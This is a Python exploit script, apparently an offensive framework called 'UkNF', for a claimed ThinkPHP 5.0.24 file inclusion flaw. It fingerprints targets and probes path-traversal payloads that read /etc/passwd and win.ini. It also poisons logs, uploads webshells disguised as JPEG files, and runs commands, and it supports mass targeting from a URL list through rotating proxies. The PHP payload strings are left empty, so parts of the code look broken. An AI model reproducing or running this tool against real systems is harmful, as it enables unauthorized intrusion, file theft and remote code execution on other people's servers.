#!/usr/bin/env python3 """ UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit Unified Knowledge Network Framework - ThinkPHP Exploitation Module CVE-2025-63888: Remote Code Execution via file inclusion in ThinkPHP 5.0.24 Vulnerable Component: thinkphp/library/think/template/driver/File.php Author: Security Research Team Date: January 2025 License: For authorized penetration testing only """ import sys import argparse import logging import signal import time import threading from pathlib import Path from typing import List, Dict, Optional, Tuple from concurrent.futures import ThreadPoolExecutor, as_completed import json from datetime import datetime import requests from urllib.parse import urljoin, urlparse import base64 import re import random import string # Setup logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' ) logger = logging.getLogger(__name__) # Global shutdown flag shutdown_flag = threading.Event() class ThinkPHPRecon: """Reconnaissance module for ThinkPHP applications""" def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None): self.target_url = target_url.rstrip('/') self.session = session or requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) if proxies: self.session.proxies.update(proxies) self.thinkphp_version = None self.vulnerable = False def detect_thinkphp(self) -> bool: """Detect if target is running ThinkPHP""" try: # Check common ThinkPHP indicators indicators = [ '/index.php', '/public/index.php', '/thinkphp', ] for indicator in indicators: try: url = urljoin(self.target_url, indicator) response = self.session.get(url, timeout=10, allow_redirects=True) # Check for ThinkPHP headers if 'thinkphp' in response.headers.get('X-Powered-By', '').lower(): logger.info(f"ThinkPHP detected via header: {response.headers.get('X-Powered-By')}") return True # Check response content if 'thinkphp' in response.text.lower() or 'think' in response.text.lower(): logger.info("ThinkPHP detected via content analysis") return True except requests.RequestException as e: logger.debug(f"Error checking {indicator}: {e}") continue return False except Exception as e: logger.error(f"Error detecting ThinkPHP: {e}") return False def detect_version(self) -> Optional[str]: """Attempt to detect ThinkPHP version""" try: # Method 1: Check error pages test_urls = [ '/index.php/index/index/think', '/index.php?s=/index/index/think', '/?s=/index/index/think', ] for url_path in test_urls: try: url = urljoin(self.target_url, url_path) response = self.session.get(url, timeout=10) # Look for version in error messages version_pattern = r'thinkphp[\/\s]+([0-9]+\.[0-9]+\.[0-9]+)' match = re.search(version_pattern, response.text, re.IGNORECASE) if match: version = match.group(1) logger.info(f"Detected ThinkPHP version: {version}") self.thinkphp_version = version return version except requests.RequestException: continue # Method 2: Check common files version_files = [ '/thinkphp/VERSION', '/thinkphp/version.txt', ] for file_path in version_files: try: url = urljoin(self.target_url, file_path) response = self.session.get(url, timeout=10) if response.status_code == 200: version = response.text.strip() logger.info(f"Detected ThinkPHP version from file: {version}") self.thinkphp_version = version return version except requests.RequestException: continue return None except Exception as e: logger.error(f"Error detecting version: {e}") return None def check_vulnerability(self) -> bool: """Check if target is vulnerable to CVE-2025-63888""" if not self.thinkphp_version: self.detect_version() # Check if version is 5.0.24 if self.thinkphp_version and '5.0.24' in self.thinkphp_version: logger.info("Target appears to be vulnerable (ThinkPHP 5.0.24)") self.vulnerable = True return True # Test for file inclusion vulnerability return self._test_file_inclusion() def _test_file_inclusion(self) -> bool: """Test for file inclusion vulnerability""" try: # Test with a safe file that should exist on most systems test_payloads = [ "../../../etc/passwd", "../../../windows/win.ini", "../../../etc/hosts", ] # Try different endpoints endpoints = [ "/index.php/index/index/view", "/index.php?s=/index/index/view", "/?s=/index/index/view", "/index/view", ] for endpoint in endpoints: for payload in test_payloads: try: url = urljoin(self.target_url, endpoint) data = {"template": payload} response = self.session.post( url, data=data, timeout=10, allow_redirects=False ) # Check for file inclusion indicators if response.status_code == 200: content = response.text # Check for common file content patterns if any(indicator in content for indicator in [ "root:x:0:0", # /etc/passwd "[fonts]", # win.ini "127.0.0.1", # hosts file ]): logger.warning(f"File inclusion confirmed! Endpoint: {endpoint}, Payload: {payload}") self.vulnerable = True return True except requests.RequestException as e: logger.debug(f"Error testing {endpoint} with {payload}: {e}") continue return False except Exception as e: logger.error(f"Error testing file inclusion: {e}") return False class CVE202563888Exploit: """Exploitation module for CVE-2025-63888""" def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None): self.target_url = target_url.rstrip('/') self.session = session or requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) if proxies: self.session.proxies.update(proxies) self.recon = ThinkPHPRecon(target_url, self.session, proxies) self.vulnerable_endpoint = None self.webshell_path = None def find_vulnerable_endpoint(self) -> Optional[str]: """Find the vulnerable endpoint""" endpoints = [ "/index.php/index/index/view", "/index.php?s=/index/index/view", "/?s=/index/index/view", "/index/view", "/index.php/home/index/view", "/index.php/admin/index/view", ] test_payload = "../../../etc/passwd" for endpoint in endpoints: try: url = urljoin(self.target_url, endpoint) data = {"template": test_payload} response = self.session.post( url, data=data, timeout=10, allow_redirects=False ) if response.status_code == 200 and "root:x:0:0" in response.text: logger.info(f"Found vulnerable endpoint: {endpoint}") self.vulnerable_endpoint = endpoint return endpoint except requests.RequestException as e: logger.debug(f"Error testing endpoint {endpoint}: {e}") continue return None def poison_log_file(self, php_code: str) -> Optional[str]: """Attempt to poison log files with PHP code""" try: # Generate a unique identifier for this session session_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) # Try to trigger log entry with PHP code log_triggers = [ f"/index.php?{php_code}", f"/index.php?s=/index/index/index&{php_code}", ] for trigger in log_triggers: try: url = urljoin(self.target_url, trigger) self.session.get(url, timeout=10) except requests.RequestException: continue # Try to find log file path log_paths = [ f"../../../runtime/log/{datetime.now().strftime('%Y/%m/%d')}.log", f"../../../runtime/log/{datetime.now().strftime('%Y%m%d')}.log", "../../../runtime/log/error.log", "../../../runtime/log/access.log", ] return log_paths[0] # Return most likely path except Exception as e: logger.error(f"Error poisoning log file: {e}") return None def upload_webshell(self) -> Optional[str]: """Attempt to upload a webshell via file upload functionality""" try: # Generate webshell content webshell_name = f"shell_{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}.php" webshell_content = "" # Try common upload endpoints upload_endpoints = [ "/index.php/index/index/upload", "/index.php/admin/upload", "/upload.php", ] for endpoint in upload_endpoints: try: url = urljoin(self.target_url, endpoint) files = { 'file': (webshell_name, webshell_content, 'image/jpeg') } response = self.session.post(url, files=files, timeout=10) if response.status_code == 200: # Try to find uploaded file upload_paths = [ f"../../../public/uploads/{webshell_name}", f"../../../uploads/{webshell_name}", f"../../../runtime/temp/{webshell_name}", ] return upload_paths[0] except requests.RequestException: continue return None except Exception as e: logger.error(f"Error uploading webshell: {e}") return None def create_webshell_via_inclusion(self, shell_path: str = None) -> bool: """Create a webshell by including a writable file""" try: if not self.vulnerable_endpoint: if not self.find_vulnerable_endpoint(): logger.error("No vulnerable endpoint found") return False # Try to write to session file or other writable locations webshell_content = "" # Method 1: Try to include session file and write to it session_paths = [ "../../../runtime/session/sess_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=26)), ] # Method 2: Use log file poisoning log_path = self.poison_log_file(webshell_content) if log_path: self.webshell_path = log_path logger.info(f"Webshell path: {log_path}") return True return False except Exception as e: logger.error(f"Error creating webshell: {e}") return False def execute_command(self, command: str, method: str = "log") -> Optional[str]: """Execute a command via file inclusion RCE""" try: if not self.vulnerable_endpoint: if not self.find_vulnerable_endpoint(): return None url = urljoin(self.target_url, self.vulnerable_endpoint) if method == "log": # Use log file poisoning method php_code = f"" log_path = self.poison_log_file(php_code) if log_path: data = {"template": log_path} response = self.session.post(url, data=data, timeout=10) return response.text elif method == "direct": # Direct PHP code execution (if we can include arbitrary files) # This would require a file we control with PHP code pass return None except Exception as e: logger.error(f"Error executing command: {e}") return None def exploit(self, command: str = "id") -> Dict: """Main exploitation method""" results = { 'target': self.target_url, 'timestamp': datetime.now().isoformat(), 'vulnerable': False, 'endpoint_found': False, 'exploitation_successful': False, 'command_executed': command, 'output': None, 'webshell_created': False, 'webshell_path': None, } try: # Step 1: Detect ThinkPHP logger.info("[1/4] Detecting ThinkPHP...") if not self.recon.detect_thinkphp(): logger.warning("ThinkPHP not detected") return results # Step 2: Check vulnerability logger.info("[2/4] Checking vulnerability...") if not self.recon.check_vulnerability(): logger.warning("Target does not appear to be vulnerable") return results results['vulnerable'] = True # Step 3: Find vulnerable endpoint logger.info("[3/4] Finding vulnerable endpoint...") endpoint = self.find_vulnerable_endpoint() if not endpoint: logger.warning("Could not find vulnerable endpoint") return results results['endpoint_found'] = True results['vulnerable_endpoint'] = endpoint # Step 4: Exploit logger.info("[4/4] Exploiting vulnerability...") # Try to create webshell if self.create_webshell_via_inclusion(): results['webshell_created'] = True results['webshell_path'] = self.webshell_path # Execute command output = self.execute_command(command) if output: results['exploitation_successful'] = True results['output'] = output logger.info(f"Command executed successfully: {command}") logger.info(f"Output: {output[:500]}") # First 500 chars return results except Exception as e: logger.error(f"Exploitation error: {e}") results['error'] = str(e) return results class UkNFExploitFramework: """Main framework class""" def __init__(self, target_url: str, threads: int = 1, proxies: Dict = None): self.target_url = target_url self.threads = threads self.proxies = proxies self.results = [] def run(self) -> Dict: """Run the exploitation framework""" logger.info(f"Starting UkNF exploitation for {self.target_url}") exploit = CVE202563888Exploit(self.target_url, proxies=self.proxies) result = exploit.exploit() self.results.append(result) return result def save_results(self, output_file: str): """Save results to file""" output_path = Path(output_file) output_path.parent.mkdir(parents=True, exist_ok=True) with open(output_path, 'w', encoding='utf-8') as f: json.dump(self.results, f, indent=2, ensure_ascii=False) logger.info(f"Results saved to {output_path}") def signal_handler(signum, frame): """Handle graceful shutdown""" logger.warning("Shutdown signal received, finishing current tasks...") shutdown_flag.set() def main(): """Main entry point""" parser = argparse.ArgumentParser( description='UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -u http://target.com %(prog)s -u http://target.com -c "whoami" %(prog)s -u http://target.com -t 5 -o results.json %(prog)s -f targets.txt -o results/ """ ) parser.add_argument('-u', '--url', type=str, help='Target URL') parser.add_argument('-f', '--file', type=str, help='File containing target URLs (one per line)') parser.add_argument('-c', '--command', type=str, default='id', help='Command to execute (default: id)') parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads (default: 1)') parser.add_argument('-o', '--output', type=str, default='uknf_results.json', help='Output file (default: uknf_results.json)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging') parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://127.0.0.1:8080)') parser.add_argument('--proxy-list', type=str, help='File containing proxy URLs (one per line)') args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) # Setup signal handlers signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) # Validate arguments if not args.url and not args.file: parser.error("Either -u/--url or -f/--file must be provided") # Setup proxies proxies = None proxy_list = [] if args.proxy: proxy_list = [args.proxy] elif args.proxy_list: with open(args.proxy_list, 'r') as f: proxy_list = [line.strip() for line in f if line.strip()] # Process targets targets = [] if args.url: targets.append(args.url) elif args.file: with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] if not targets: logger.error("No targets specified") return 1 logger.info(f"Processing {len(targets)} target(s)") if proxy_list: logger.info(f"Using {len(proxy_list)} proxy/proxies") # Process targets all_results = [] for i, target in enumerate(targets): if shutdown_flag.is_set(): break try: # Rotate proxies if available current_proxies = None if proxy_list: proxy_url = proxy_list[i % len(proxy_list)] current_proxies = { 'http': proxy_url, 'https': proxy_url } logger.info(f"Using proxy for {target}: {proxy_url.split('@')[-1] if '@' in proxy_url else proxy_url}") framework = UkNFExploitFramework(target, threads=args.threads, proxies=current_proxies) result = framework.run() all_results.append(result) except Exception as e: logger.error(f"Error processing {target}: {e}") continue # Save results if all_results: output_path = Path(args.output) output_path.parent.mkdir(parents=True, exist_ok=True) with open(output_path, 'w', encoding='utf-8') as f: json.dump(all_results, f, indent=2, ensure_ascii=False) logger.info(f"Results saved to {output_path}") # Print summary vulnerable = sum(1 for r in all_results if r.get('vulnerable')) exploited = sum(1 for r in all_results if r.get('exploitation_successful')) logger.info(f"\nSummary:") logger.info(f" Targets processed: {len(all_results)}") logger.info(f" Vulnerable: {vulnerable}") logger.info(f" Successfully exploited: {exploited}") return 0 if __name__ == '__main__': sys.exit(main())